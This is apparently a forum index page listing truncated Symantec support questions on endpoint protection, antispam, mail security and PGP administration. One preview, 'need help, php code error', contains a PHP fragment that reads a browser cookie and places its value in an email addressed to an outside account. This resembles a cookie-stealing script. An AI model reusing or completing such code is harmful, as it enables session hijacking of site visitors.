how to clean OR remove Trojan.Gen&trojan.Gen2
I need a solution Hello ,When users connect to the Internet to respond to quarantine on symantec manager number and the name of the virus infected computer When you run a full scan of the client...
View ArticlePremium Antispam Not Catching "NUANCE" stock spam messages
I need a solution I have 15 users receiving 20 emails per day.(last 7 days)Looks like the spammer is promoting NUANCE Stocks.Why can't the antispam pick this up?SMSMSE 7.5.0.56Virus definitions...
View Articlemanually delay outbound message delivery
I need a solution Hello, I need to delay outbound message delivery based on a condition (message size bigger than x MB) until a specific time of the day.I was not able to find something relevant in...
View ArticleSMC and other feature on SEP client
I need a solution I've exported a client (v12) from SEPM to deploy to our users. Now I'd like to configure it. Where can I work with the SMC service? For example setting it's password, etc......
View ArticleScan of mapped network drives
I need a solution Hello,I have the following question. If we have the following options in the AV policy:File System Auto-Protect -> Network scan - option to scan files on remote computers is NOT...
View Articleneed help, php code error
I need a solution <?php if ($cookie_name) (isset ($_COOKIE)) (isset ($_COOKIE[$cookie_name])) {$to="ex2@gmail.com"; $subject="chessus lives"; $message= "$cookie_name, $_COOKIE [$cookie_name] " ;...
View ArticleSymantec Mail Security for Exchange
I need a solution Hi-We are looking at installing Symantec Mail Security for Exchange into our environment, however, our environment for our Exchange server is clustered with a DAG.. We also have an...
View ArticleHow to tell which client requests full definiton files from its GUP?
I need a solution GUP to SEPM traffic negatively impacts WAN traffic. How do I tell which client requests full definiton files from its GUP?
View ArticleClear current virus status on a MAC
I need a solution With RU5, when a Mac has a virus hit there is now a icon showing a paper and magnifying glass next to the device in the SEPM in the "Health State" column. I can't seem to find an...
View ArticleDefs not updating after Daylight Savings time
I need a solution Is any body else having issues with Definitions not updating after this past weekend? If so know of any fixes?
View ArticleUsing AD Groups with a DCM Policy
I need a solution is it possible to use AD Groups to limit who DLP monitors with a DCM policy for Endpoint?
View ArticlePrograms using NSIS are detected as "WS.Reputation.1"
I need a solution I have even submitted a false positive report, however would like to know anyone who uses nsis on programs and still getting detected as a threat. I have created an empty installer...
View ArticleNeed Sylink Replacer download link for SEP 11x
I need a solution I've tried downloading the files referenced in the posts below, but am unable to download the .ZIP files. It fails with a message that it is unable to read the source file. Can...
View ArticleDeleting Duplicate Machine Entries on PGP Server
I need a solution Hi All,I would like to Delete Duplicate Machine Entries on the PGP Server. PGP Server version: 3.2Can someone please explain the different ways to achieve it.Appreciate your...
View ArticleCan't Disable Protection
I need a solution I have someone who is testing some software and needs to disable SEP for a bit of time. When they right click the icon "Disable Symantec Endpoint Protection" is greyed out. How can...
View ArticleMachine Rebooting
I need a solution Hello, I was checking one of the event log for a user and found the following. Security Risk Found! WinZipper in File C:\...By: Auto-Protect scan. Action: Delete succeeded. Action...
View ArticleSEP 12.1.4013.4013 Reporting Scan Cancelled by User - Default Weekly Scan
I need a solution Good afternoon,I've had multiple users reporting to me that their weekly scheduled scans are no longer working. The scan will start, but immediately stops with the message "scan...
View Articlecannot download attachments from web email protection
I need a solution I have a client with Windows 7 Home Premium and Internet Explorer 11 (yes yes I know)He can sign in, see messages and attchments but the attachments (typically PDFs or TIF files)...
View Articlenew internal users are not being auto-created
I need a solution apparently the Symantec Encryption server is not creating Internal User accounts automatically when my users send outbound emails with conditions that match our rules for message...
View ArticleHow to create a notification using CRITICAL: NETWORK VIRUS DETECTED
I need a solution Hello guys, just wondering, we get these "CRITICAL: NETWORK VIRUS DETECTED" notifications from SEP 12.1x - But I can't seem to find that as a listed option for notifications. I want...
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